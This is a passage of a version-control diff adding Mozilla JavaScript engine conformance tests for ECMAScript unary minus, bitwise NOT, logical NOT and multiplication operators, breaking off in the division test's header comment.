+new TestCase( SECTION, "-( '\\t' + 999 + '\\t' )", -999, -( '\t' +999+'\t' ) );
+new TestCase( SECTION, "-( '\\f' + 999 + '\\f' )", -999, -( '\f' +999+'\f' ) );
+
+new TestCase( SECTION, "-( ' ' + '999' )", -999, -( ' '+'999') );
+new TestCase( SECTION, "-( '\\n' + '999' )", -999, -( '\n' +'999') );
+new TestCase( SECTION, "-( '\\r' + '999' )", -999, -( '\r' +'999') );
+new TestCase( SECTION, "-( '\\t' + '999' )", -999, -( '\t' +'999') );
+new TestCase( SECTION, "-( '\\f' + '999' )", -999, -( '\f' +'999') );
+
+new TestCase( SECTION, "-( '999' + ' ' )", -999, -( '999'+' ') );
+new TestCase( SECTION, "-( '999' + '\\n' )", -999, -( '999'+'\n' ) );
+new TestCase( SECTION, "-( '999' + '\\r' )", -999, -( '999'+'\r' ) );
+new TestCase( SECTION, "-( '999' + '\\t' )", -999, -( '999'+'\t' ) );
+new TestCase( SECTION, "-( '999' + '\\f' )", -999, -( '999'+'\f' ) );
+
+new TestCase( SECTION, "-( '\\n' + '999' + '\\n' )", -999, -( '\n' +'999'+'\n' ) );
+new TestCase( SECTION, "-( '\\r' + '999' + '\\r' )", -999, -( '\r' +'999'+'\r' ) );
+new TestCase( SECTION, "-( '\\t' + '999' + '\\t' )", -999, -( '\t' +'999'+'\t' ) );
+new TestCase( SECTION, "-( '\\f' + '999' + '\\f' )", -999, -( '\f' +'999'+'\f' ) );
+
+new TestCase( SECTION, "-( String.fromCharCode(0x0009) + '99' )", -99, -( String.fromCharCode(0x0009) + '99' ) );
+new TestCase( SECTION, "-( String.fromCharCode(0x0020) + '99' )", -99, -( String.fromCharCode(0x0020) + '99' ) );
+new TestCase( SECTION, "-( String.fromCharCode(0x000C) + '99' )", -99, -( String.fromCharCode(0x000C) + '99' ) );
+new TestCase( SECTION, "-( String.fromCharCode(0x000B) + '99' )", -99, -( String.fromCharCode(0x000B) + '99' ) );
+new TestCase( SECTION, "-( String.fromCharCode(0x000D) + '99' )", -99, -( String.fromCharCode(0x000D) + '99' ) );
+new TestCase( SECTION, "-( String.fromCharCode(0x000A) + '99' )", -99, -( String.fromCharCode(0x000A) + '99' ) );
+
+new TestCase( SECTION, "-( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x0009)", -99, -( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x0009)) );
+new TestCase( SECTION, "-( String.fromCharCode(0x0020) + '99' + String.fromCharCode(0x0020)", -99, -( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x0020)) );
+new TestCase( SECTION, "-( String.fromCharCode(0x000C) + '99' + String.fromCharCode(0x000C)", -99, -( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x000C)) );
+new TestCase( SECTION, "-( String.fromCharCode(0x000D) + '99' + String.fromCharCode(0x000D)", -99, -( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x000D)) );
+new TestCase( SECTION, "-( String.fromCharCode(0x000B) + '99' + String.fromCharCode(0x000B)", -99, -( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x000B)) );
+new TestCase( SECTION, "-( String.fromCharCode(0x000A) + '99' + String.fromCharCode(0x000A)", -99, -( String.fromCharCode(0x0009) + '99' + String.fromCharCode(0x000A)) );
+
+new TestCase( SECTION, "-( '99' + String.fromCharCode(0x0009)", -99, -( '99' + String.fromCharCode(0x0009)) );
+new TestCase( SECTION, "-( '99' + String.fromCharCode(0x0020)", -99, -( '99' + String.fromCharCode(0x0020)) );
+new TestCase( SECTION, "-( '99' + String.fromCharCode(0x000C)", -99, -( '99' + String.fromCharCode(0x000C)) );
+new TestCase( SECTION, "-( '99' + String.fromCharCode(0x000D)", -99, -( '99' + String.fromCharCode(0x000D)) );
+new TestCase( SECTION, "-( '99' + String.fromCharCode(0x000B)", -99, -( '99' + String.fromCharCode(0x000B)) );
+new TestCase( SECTION, "-( '99' + String.fromCharCode(0x000A)", -99, -( '99' + String.fromCharCode(0x000A)) );
+
+new TestCase( SECTION, "-( String.fromCharCode(0x0009) + 99 )", -99, -( String.fromCharCode(0x0009) + 99 ) );
+new TestCase( SECTION, "-( String.fromCharCode(0x0020) + 99 )", -99, -( String.fromCharCode(0x0020) + 99 ) );
+new TestCase( SECTION, "-( String.fromCharCode(0x000C) + 99 )", -99, -( String.fromCharCode(0x000C) + 99 ) );
+new TestCase( SECTION, "-( String.fromCharCode(0x000B) + 99 )", -99, -( String.fromCharCode(0x000B) + 99 ) );
+new TestCase( SECTION, "-( String.fromCharCode(0x000D) + 99 )", -99, -( String.fromCharCode(0x000D) + 99 ) );
+new TestCase( SECTION, "-( String.fromCharCode(0x000A) + 99 )", -99, -( String.fromCharCode(0x000A) + 99 ) );
+
+new TestCase( SECTION, "-( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x0009)", -99, -( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x0009)) );
+new TestCase( SECTION, "-( String.fromCharCode(0x0020) + 99 + String.fromCharCode(0x0020)", -99, -( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x0020)) );
+new TestCase( SECTION, "-( String.fromCharCode(0x000C) + 99 + String.fromCharCode(0x000C)", -99, -( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x000C)) );
+new TestCase( SECTION, "-( String.fromCharCode(0x000D) + 99 + String.fromCharCode(0x000D)", -99, -( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x000D)) );
+new TestCase( SECTION, "-( String.fromCharCode(0x000B) + 99 + String.fromCharCode(0x000B)", -99, -( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x000B)) );
+new TestCase( SECTION, "-( String.fromCharCode(0x000A) + 99 + String.fromCharCode(0x000A)", -99, -( String.fromCharCode(0x0009) + 99 + String.fromCharCode(0x000A)) );
+
+new TestCase( SECTION, "-( 99 + String.fromCharCode(0x0009)", -99, -( 99 + String.fromCharCode(0x0009)) );
+new TestCase( SECTION, "-( 99 + String.fromCharCode(0x0020)", -99, -( 99 + String.fromCharCode(0x0020)) );
+new TestCase( SECTION, "-( 99 + String.fromCharCode(0x000C)", -99, -( 99 + String.fromCharCode(0x000C)) );
+new TestCase( SECTION, "-( 99 + String.fromCharCode(0x000D)", -99, -( 99 + String.fromCharCode(0x000D)) );
+new TestCase( SECTION, "-( 99 + String.fromCharCode(0x000B)", -99, -( 99 + String.fromCharCode(0x000B)) );
+new TestCase( SECTION, "-( 99 + String.fromCharCode(0x000A)", -99, -( 99 + String.fromCharCode(0x000A)) );
+
+
+// StrNumericLiteral:::StrDecimalLiteral:::Infinity
+
+new TestCase( SECTION, "-('Infinity')", -Math.pow(10,10000), -("Infinity") );
+new TestCase( SECTION, "-('-Infinity')", +Math.pow(10,10000), -("-Infinity") );
+new TestCase( SECTION, "-('+Infinity')", -Math.pow(10,10000), -("+Infinity") );
+
+// StrNumericLiteral::: StrDecimalLiteral ::: DecimalDigits . DecimalDigits opt ExponentPart opt
+
+new TestCase( SECTION, "-('0')", -0, -("0") );
+new TestCase( SECTION, "-('-0')", +0, -("-0") );
+new TestCase( SECTION, "-('+0')", -0, -("+0") );
+
+new TestCase( SECTION, "-('1')", -1, -("1") );
+new TestCase( SECTION, "-('-1')", +1, -("-1") );
+new TestCase( SECTION, "-('+1')", -1, -("+1") );
+
+new TestCase( SECTION, "-('2')", -2, -("2") );
+new TestCase( SECTION, "-('-2')", +2, -("-2") );
+new TestCase( SECTION, "-('+2')", -2, -("+2") );
+
+new TestCase( SECTION, "-('3')", -3, -("3") );
+new TestCase( SECTION, "-('-3')", +3, -("-3") );
+new TestCase( SECTION, "-('+3')", -3, -("+3") );
+
+new TestCase( SECTION, "-('4')", -4, -("4") );
+new TestCase( SECTION, "-('-4')", +4, -("-4") );
+new TestCase( SECTION, "-('+4')", -4, -("+4") );
+
+new TestCase( SECTION, "-('5')", -5, -("5") );
+new TestCase( SECTION, "-('-5')", +5, -("-5") );
+new TestCase( SECTION, "-('+5')", -5, -("+5") );
+
+new TestCase( SECTION, "-('6')", -6, -("6") );
+new TestCase( SECTION, "-('-6')", +6, -("-6") );
+new TestCase( SECTION, "-('+6')", -6, -("+6") );
+
+new TestCase( SECTION, "-('7')", -7, -("7") );
+new TestCase( SECTION, "-('-7')", +7, -("-7") );
+new TestCase( SECTION, "-('+7')", -7, -("+7") );
+
+new TestCase( SECTION, "-('8')", -8, -("8") );
+new TestCase( SECTION, "-('-8')", +8, -("-8") );
+new TestCase( SECTION, "-('+8')", -8, -("+8") );
+
+new TestCase( SECTION, "-('9')", -9, -("9") );
+new TestCase( SECTION, "-('-9')", +9, -("-9") );
+new TestCase( SECTION, "-('+9')", -9, -("+9") );
+
+new TestCase( SECTION, "-('3.14159')", -3.14159, -("3.14159") );
+new TestCase( SECTION, "-('-3.14159')", +3.14159, -("-3.14159") );
+new TestCase( SECTION, "-('+3.14159')", -3.14159, -("+3.14159") );
+
+new TestCase( SECTION, "-('3.')", -3, -("3.") );
+new TestCase( SECTION, "-('-3.')", +3, -("-3.") );
+new TestCase( SECTION, "-('+3.')", -3, -("+3.") );
+
+new TestCase( SECTION, "-('3.e1')", -30, -("3.e1") );
+new TestCase( SECTION, "-('-3.e1')", +30, -("-3.e1") );
+new TestCase( SECTION, "-('+3.e1')", -30, -("+3.e1") );
+
+new TestCase( SECTION, "-('3.e+1')", -30, -("3.e+1") );
+new TestCase( SECTION, "-('-3.e+1')", +30, -("-3.e+1") );
+new TestCase( SECTION, "-('+3.e+1')", -30, -("+3.e+1") );
+
+new TestCase( SECTION, "-('3.e-1')", -.30, -("3.e-1") );
+new TestCase( SECTION, "-('-3.e-1')", +.30, -("-3.e-1") );
+new TestCase( SECTION, "-('+3.e-1')", -.30, -("+3.e-1") );
+
+// StrDecimalLiteral::: .DecimalDigits ExponentPart opt
+
+new TestCase( SECTION, "-('.00001')", -0.00001, -(".00001") );
+new TestCase( SECTION, "-('+.00001')", -0.00001, -("+.00001") );
+new TestCase( SECTION, "-('-0.0001')", +0.00001, -("-.00001") );
+
+new TestCase( SECTION, "-('.01e2')", -1, -(".01e2") );
+new TestCase( SECTION, "-('+.01e2')", -1, -("+.01e2") );
+new TestCase( SECTION, "-('-.01e2')", +1, -("-.01e2") );
+
+new TestCase( SECTION, "-('.01e+2')", -1, -(".01e+2") );
+new TestCase( SECTION, "-('+.01e+2')", -1, -("+.01e+2") );
+new TestCase( SECTION, "-('-.01e+2')", +1, -("-.01e+2") );
+
+new TestCase( SECTION, "-('.01e-2')", -0.0001, -(".01e-2") );
+new TestCase( SECTION, "-('+.01e-2')", -0.0001, -("+.01e-2") );
+new TestCase( SECTION, "-('-.01e-2')", +0.0001, -("-.01e-2") );
+
+// StrDecimalLiteral::: DecimalDigits ExponentPart opt
+
+new TestCase( SECTION, "-('1234e5')", -123400000, -("1234e5") );
+new TestCase( SECTION, "-('+1234e5')", -123400000, -("+1234e5") );
+new TestCase( SECTION, "-('-1234e5')", +123400000, -("-1234e5") );
+
+new TestCase( SECTION, "-('1234e+5')", -123400000, -("1234e+5") );
+new TestCase( SECTION, "-('+1234e+5')", -123400000, -("+1234e+5") );
+new TestCase( SECTION, "-('-1234e+5')", +123400000, -("-1234e+5") );
+
+new TestCase( SECTION, "-('1234e-5')", -0.01234, -("1234e-5") );
+new TestCase( SECTION, "-('+1234e-5')", -0.01234, -("+1234e-5") );
+new TestCase( SECTION, "-('-1234e-5')", +0.01234, -("-1234e-5") );
+
+// StrNumericLiteral::: HexIntegerLiteral
+
+new TestCase( SECTION, "-('0x0')", -0, -("0x0"));
+new TestCase( SECTION, "-('0x1')", -1, -("0x1"));
+new TestCase( SECTION, "-('0x2')", -2, -("0x2"));
+new TestCase( SECTION, "-('0x3')", -3, -("0x3"));
+new TestCase( SECTION, "-('0x4')", -4, -("0x4"));
+new TestCase( SECTION, "-('0x5')", -5, -("0x5"));
+new TestCase( SECTION, "-('0x6')", -6, -("0x6"));
+new TestCase( SECTION, "-('0x7')", -7, -("0x7"));
+new TestCase( SECTION, "-('0x8')", -8, -("0x8"));
+new TestCase( SECTION, "-('0x9')", -9, -("0x9"));
+new TestCase( SECTION, "-('0xa')", -10, -("0xa"));
+new TestCase( SECTION, "-('0xb')", -11, -("0xb"));
+new TestCase( SECTION, "-('0xc')", -12, -("0xc"));
+new TestCase( SECTION, "-('0xd')", -13, -("0xd"));
+new TestCase( SECTION, "-('0xe')", -14, -("0xe"));
+new TestCase( SECTION, "-('0xf')", -15, -("0xf"));
+new TestCase( SECTION, "-('0xA')", -10, -("0xA"));
+new TestCase( SECTION, "-('0xB')", -11, -("0xB"));
+new TestCase( SECTION, "-('0xC')", -12, -("0xC"));
+new TestCase( SECTION, "-('0xD')", -13, -("0xD"));
+new TestCase( SECTION, "-('0xE')", -14, -("0xE"));
+new TestCase( SECTION, "-('0xF')", -15, -("0xF"));
+
+new TestCase( SECTION, "-('0X0')", -0, -("0X0"));
+new TestCase( SECTION, "-('0X1')", -1, -("0X1"));
+new TestCase( SECTION, "-('0X2')", -2, -("0X2"));
+new TestCase( SECTION, "-('0X3')", -3, -("0X3"));
+new TestCase( SECTION, "-('0X4')", -4, -("0X4"));
+new TestCase( SECTION, "-('0X5')", -5, -("0X5"));
+new TestCase( SECTION, "-('0X6')", -6, -("0X6"));
+new TestCase( SECTION, "-('0X7')", -7, -("0X7"));
+new TestCase( SECTION, "-('0X8')", -8, -("0X8"));
+new TestCase( SECTION, "-('0X9')", -9, -("0X9"));
+new TestCase( SECTION, "-('0Xa')", -10, -("0Xa"));
+new TestCase( SECTION, "-('0Xb')", -11, -("0Xb"));
+new TestCase( SECTION, "-('0Xc')", -12, -("0Xc"));
+new TestCase( SECTION, "-('0Xd')", -13, -("0Xd"));
+new TestCase( SECTION, "-('0Xe')", -14, -("0Xe"));
+new TestCase( SECTION, "-('0Xf')", -15, -("0Xf"));
+new TestCase( SECTION, "-('0XA')", -10, -("0XA"));
+new TestCase( SECTION, "-('0XB')", -11, -("0XB"));
+new TestCase( SECTION, "-('0XC')", -12, -("0XC"));
+new TestCase( SECTION, "-('0XD')", -13, -("0XD"));
+new TestCase( SECTION, "-('0XE')", -14, -("0XE"));
+new TestCase( SECTION, "-('0XF')", -15, -("0XF"));
+
+test();
diff --git a/js/src/tests/ecma/Expressions/11.4.7-02.js b/js/src/tests/ecma/Expressions/11.4.7-02.js
new file mode 100644
index 000000000..1ff020530
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.4.7-02.js
@@ -0,0 +1,54 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: 11.4.7-02.js
+ * Reference: https://bugzilla.mozilla.org/show_bug.cgi?id=432881
+ * Description: ecma 11.4.7
+ */
+
+var SECTION = "11.4.7";
+var VERSION = "ECMA";
+var TITLE = "Unary - Operator";
+var BUGNUMBER = "432881";
+
+startTest();
+
+test_negation(0, -0.0);
+test_negation(-0.0, 0);
+test_negation(1, -1);
+test_negation(1.0/0.0, -1.0/0.0);
+test_negation(-1.0/0.0, 1.0/0.0);
+
+//1073741824 == (1 << 30)
+test_negation(1073741824, -1073741824);
+test_negation(-1073741824, 1073741824);
+
+//1073741824 == (1 << 30) - 1
+test_negation(1073741823, -1073741823);
+test_negation(-1073741823, 1073741823);
+
+//1073741824 == (1 << 30)
+test_negation(1073741824, -1073741824);
+test_negation(-1073741824, 1073741824);
+
+//1073741824 == (1 << 30) - 1
+test_negation(1073741823, -1073741823);
+test_negation(-1073741823, 1073741823);
+
+//2147483648 == (1 << 31)
+test_negation(2147483648, -2147483648);
+test_negation(-2147483648, 2147483648);
+
+//2147483648 == (1 << 31) - 1
+test_negation(2147483647, -2147483647);
+test_negation(-2147483647, 2147483647);
+
+function test_negation(value, expected)
+{
+ var actual = -value;
+ reportCompare(expected, actual, '-(' + value + ') == ' + expected);
+}
diff --git a/js/src/tests/ecma/Expressions/11.4.8.js b/js/src/tests/ecma/Expressions/11.4.8.js
new file mode 100644
index 000000000..d80d8955d
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.4.8.js
@@ -0,0 +1,181 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.4.8.js
+ ECMA Section: 11.4.8 Bitwise NOT Operator
+ Description: flip bits up to 32 bits
+ no special cases
+ Author: christine@netscape.com
+ Date: 7 july 1997
+
+ Data File Fields:
+ VALUE value passed as an argument to the ~ operator
+ E_RESULT expected return value of ~ VALUE;
+
+ Static variables:
+ none
+
+*/
+
+var SECTION = "11.4.8";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Bitwise Not operator");
+
+for ( var i = 0; i < 35; i++ ) {
+ var p = Math.pow(2,i);
+
+ new TestCase( SECTION, "~"+p, Not(p), ~p );
+
+}
+for ( i = 0; i < 35; i++ ) {
+ var p = -Math.pow(2,i);
+
+ new TestCase( SECTION, "~"+p, Not(p), ~p );
+
+}
+
+test();
+
+function ToInteger( n ) {
+ n = Number( n );
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( n != n ) {
+ return 0;
+ }
+ if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY ) {
+ return n;
+ }
+ return ( sign * Math.floor(Math.abs(n)) );
+}
+function ToInt32( n ) {
+ n = Number( n );
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) {
+ return 0;
+ }
+
+ n = (sign * Math.floor( Math.abs(n) )) % Math.pow(2,32);
+ n = ( n >= Math.pow(2,31) ) ? n - Math.pow(2,32) : n;
+
+ return ( n );
+}
+function ToUint32( n ) {
+ n = Number( n );
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) {
+ return 0;
+ }
+ n = sign * Math.floor( Math.abs(n) )
+
+ n = n % Math.pow(2,32);
+
+ if ( n < 0 ){
+ n += Math.pow(2,32);
+ }
+
+ return ( n );
+}
+function ToUint16( n ) {
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) {
+ return 0;
+ }
+
+ n = ( sign * Math.floor( Math.abs(n) ) ) % Math.pow(2,16);
+
+ if (n <0) {
+ n += Math.pow(2,16);
+ }
+
+ return ( n );
+}
+function Mask( b, n ) {
+ b = ToUint32BitString( b );
+ b = b.substring( b.length - n );
+ b = ToUint32Decimal( b );
+ return ( b );
+}
+function ToUint32BitString( n ) {
+ var b = "";
+ for ( var p = 31; p >=0; p-- ) {
+ if ( n >= Math.pow(2,p) ) {
+ b += "1";
+ n -= Math.pow(2,p);
+ } else {
+ b += "0";
+ }
+ }
+ return b;
+}
+function ToInt32BitString( n ) {
+ var b = "";
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ b += ( sign == 1 ) ? "0" : "1";
+
+ for ( var p = 30; p >=0; p-- ) {
+ if ( (sign == 1 ) ? sign * n >= Math.pow(2,p) : sign * n > Math.pow(2,p) ) {
+ b += ( sign == 1 ) ? "1" : "0";
+ n -= sign * Math.pow( 2, p );
+ } else {
+ b += ( sign == 1 ) ? "0" : "1";
+ }
+ }
+
+ return b;
+}
+function ToInt32Decimal( bin ) {
+ var r = 0;
+ var sign;
+
+ if ( Number(bin.charAt(0)) == 0 ) {
+ sign = 1;
+ r = 0;
+ } else {
+ sign = -1;
+ r = -(Math.pow(2,31));
+ }
+
+ for ( var j = 0; j < 31; j++ ) {
+ r += Math.pow( 2, j ) * Number(bin.charAt(31-j));
+ }
+
+ return r;
+}
+function ToUint32Decimal( bin ) {
+ var r = 0;
+
+ for ( var l = bin.length; l < 32; l++ ) {
+ bin = "0" + bin;
+ }
+
+ for ( var j = 0; j < 31; j++ ) {
+ r += Math.pow( 2, j ) * Number(bin.charAt(31-j));
+ }
+
+ return r;
+}
+function Not( n ) {
+ n = ToInt32(n);
+ n = ToInt32BitString(n);
+
+ var r = "";
+
+ for( var l = 0; l < n.length; l++ ) {
+ r += ( n.charAt(l) == "0" ) ? "1" : "0";
+ }
+
+ n = ToInt32Decimal(r);
+
+ return n;
+}
diff --git a/js/src/tests/ecma/Expressions/11.4.9.js b/js/src/tests/ecma/Expressions/11.4.9.js
new file mode 100644
index 000000000..58bb2657d
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.4.9.js
@@ -0,0 +1,57 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.4.9.js
+ ECMA Section: 11.4.9 Logical NOT Operator (!)
+ Description: if the ToBoolean( VALUE ) result is true, return
+ true. else return false.
+ Author: christine@netscape.com
+ Date: 7 july 1997
+
+ Static variables:
+ none
+*/
+var SECTION = "11.4.9";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Logical NOT operator (!)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "!(null)", true, !(null) );
+new TestCase( SECTION, "!(var x)", true, !(eval("var x")) );
+new TestCase( SECTION, "!(void 0)", true, !(void 0) );
+
+new TestCase( SECTION, "!(false)", true, !(false) );
+new TestCase( SECTION, "!(true)", false, !(true) );
+new TestCase( SECTION, "!()", true, !(eval()) );
+new TestCase( SECTION, "!(0)", true, !(0) );
+new TestCase( SECTION, "!(-0)", true, !(-0) );
+new TestCase( SECTION, "!(NaN)", true, !(Number.NaN) );
+new TestCase( SECTION, "!(Infinity)", false, !(Number.POSITIVE_INFINITY) );
+new TestCase( SECTION, "!(-Infinity)", false, !(Number.NEGATIVE_INFINITY) );
+new TestCase( SECTION, "!(Math.PI)", false, !(Math.PI) );
+new TestCase( SECTION, "!(1)", false, !(1) );
+new TestCase( SECTION, "!(-1)", false, !(-1) );
+new TestCase( SECTION, "!('')", true, !("") );
+new TestCase( SECTION, "!('\t')", false, !("\t") );
+new TestCase( SECTION, "!('0')", false, !("0") );
+new TestCase( SECTION, "!('string')", false, !("string") );
+new TestCase( SECTION, "!(new String(''))", false, !(new String("")) );
+new TestCase( SECTION, "!(new String('string'))", false, !(new String("string")) );
+new TestCase( SECTION, "!(new String())", false, !(new String()) );
+new TestCase( SECTION, "!(new Boolean(true))", false, !(new Boolean(true)) );
+new TestCase( SECTION, "!(new Boolean(false))", false, !(new Boolean(false)) );
+new TestCase( SECTION, "!(new Array())", false, !(new Array()) );
+new TestCase( SECTION, "!(new Array(1,2,3)", false, !(new Array(1,2,3)) );
+new TestCase( SECTION, "!(new Number())", false, !(new Number()) );
+new TestCase( SECTION, "!(new Number(0))", false, !(new Number(0)) );
+new TestCase( SECTION, "!(new Number(NaN))", false, !(new Number(Number.NaN)) );
+new TestCase( SECTION, "!(new Number(Infinity))", false, !(new Number(Number.POSITIVE_INFINITY)) );
+
+test();
+
diff --git a/js/src/tests/ecma/Expressions/11.5.1.js b/js/src/tests/ecma/Expressions/11.5.1.js
new file mode 100644
index 000000000..409147f0d
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.5.1.js
@@ -0,0 +1,81 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.5.1.js
+ ECMA Section: 11.5.1 Applying the * operator
+ Description:
+
+ 11.5.1 Applying the * operator
+
+ The * operator performs multiplication, producing the product of its
+ operands. Multiplication is commutative. Multiplication is not always
+ associative in ECMAScript, because of finite precision.
+
+ The result of a floating-point multiplication is governed by the rules
+ of IEEE 754 double-precision arithmetic:
+
+ If either operand is NaN, the result is NaN.
+ The sign of the result is positive if both operands have the same sign,
+ negative if the operands have different signs.
+ Multiplication of an infinity by a zero results in NaN.
+ Multiplication of an infinity by an infinity results in an infinity.
+ The sign is determined by the rule already stated above.
+ Multiplication of an infinity by a finite non-zero value results in a
+ signed infinity. The sign is determined by the rule already stated above.
+ In the remaining cases, where neither an infinity or NaN is involved, the
+ product is computed and rounded to the nearest representable value using IEEE
+ 754 round-to-nearest mode. If the magnitude is too large to represent,
+ the result is then an infinity of appropriate sign. If the magnitude is
+ oo small to represent, the result is then a zero
+ of appropriate sign. The ECMAScript language requires support of gradual
+ underflow as defined by IEEE 754.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.5.1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Applying the * operator");
+
+new TestCase( SECTION, "Number.NaN * Number.NaN", Number.NaN, Number.NaN * Number.NaN );
+new TestCase( SECTION, "Number.NaN * 1", Number.NaN, Number.NaN * 1 );
+new TestCase( SECTION, "1 * Number.NaN", Number.NaN, 1 * Number.NaN );
+
+new TestCase( SECTION, "Number.POSITIVE_INFINITY * 0", Number.NaN, Number.POSITIVE_INFINITY * 0 );
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY * 0", Number.NaN, Number.NEGATIVE_INFINITY * 0 );
+new TestCase( SECTION, "0 * Number.POSITIVE_INFINITY", Number.NaN, 0 * Number.POSITIVE_INFINITY );
+new TestCase( SECTION, "0 * Number.NEGATIVE_INFINITY", Number.NaN, 0 * Number.NEGATIVE_INFINITY );
+
+new TestCase( SECTION, "-0 * Number.POSITIVE_INFINITY", Number.NaN, -0 * Number.POSITIVE_INFINITY );
+new TestCase( SECTION, "-0 * Number.NEGATIVE_INFINITY", Number.NaN, -0 * Number.NEGATIVE_INFINITY );
+new TestCase( SECTION, "Number.POSITIVE_INFINITY * -0", Number.NaN, Number.POSITIVE_INFINITY * -0 );
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY * -0", Number.NaN, Number.NEGATIVE_INFINITY * -0 );
+
+new TestCase( SECTION, "0 * -0", -0, 0 * -0 );
+new TestCase( SECTION, "-0 * 0", -0, -0 * 0 );
+new TestCase( SECTION, "-0 * -0", 0, -0 * -0 );
+new TestCase( SECTION, "0 * 0", 0, 0 * 0 );
+
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY * Number.NEGATIVE_INFINITY", Number.POSITIVE_INFINITY, Number.NEGATIVE_INFINITY * Number.NEGATIVE_INFINITY );
+new TestCase( SECTION, "Number.POSITIVE_INFINITY * Number.NEGATIVE_INFINITY", Number.NEGATIVE_INFINITY, Number.POSITIVE_INFINITY * Number.NEGATIVE_INFINITY );
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY * Number.POSITIVE_INFINITY", Number.NEGATIVE_INFINITY, Number.NEGATIVE_INFINITY * Number.POSITIVE_INFINITY );
+new TestCase( SECTION, "Number.POSITIVE_INFINITY * Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY, Number.POSITIVE_INFINITY * Number.POSITIVE_INFINITY );
+
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY * 1 ", Number.NEGATIVE_INFINITY, Number.NEGATIVE_INFINITY * 1 );
+new TestCase( SECTION, "Number.NEGATIVE_INFINITY * -1 ", Number.POSITIVE_INFINITY, Number.NEGATIVE_INFINITY * -1 );
+new TestCase( SECTION, "1 * Number.NEGATIVE_INFINITY", Number.NEGATIVE_INFINITY, 1 * Number.NEGATIVE_INFINITY );
+new TestCase( SECTION, "-1 * Number.NEGATIVE_INFINITY", Number.POSITIVE_INFINITY, -1 * Number.NEGATIVE_INFINITY );
+
+new TestCase( SECTION, "Number.POSITIVE_INFINITY * 1 ", Number.POSITIVE_INFINITY, Number.POSITIVE_INFINITY * 1 );
+new TestCase( SECTION, "Number.POSITIVE_INFINITY * -1 ", Number.NEGATIVE_INFINITY, Number.POSITIVE_INFINITY * -1 );
+new TestCase( SECTION, "1 * Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY, 1 * Number.POSITIVE_INFINITY );
+new TestCase( SECTION, "-1 * Number.POSITIVE_INFINITY", Number.NEGATIVE_INFINITY, -1 * Number.POSITIVE_INFINITY );
+
+test();
+
diff --git a/js/src/tests/ecma/Expressions/11.5.2.js b/js/src/tests/ecma/Expressions/11.5.2.js
new file mode 100644
index 000000000..9e5a37f38
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.5.2.js
@@ -0,0 +1,120 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.5.2.js
+ ECMA Section: 11.5.2 Applying the / operator
+ Description:
+
+ The / operator performs division, producing the quotient of its operands.
+ The left operand is the dividend and the right operand is the divisor.
+ ECMAScript does not perform integer division. The operands and result of all
+ division operations are double-precision floating-point numbers.
+ The result of division is determined by the specification of IEEE 754 arithmetic:
+
+ If either operand is NaN, the result is NaN.
+ The sign of the result is positive if both operands have the same sign, negative if the operands have different
+ signs.
+ Division of an infinity by an infinity results in NaN.
+ Division of an infinity by a zero results in an infinity. The sign is determined by the rule already stated above.
+ Division of an infinity by a non-zero finite value results in a signed infinity. The sign is determined by the rule
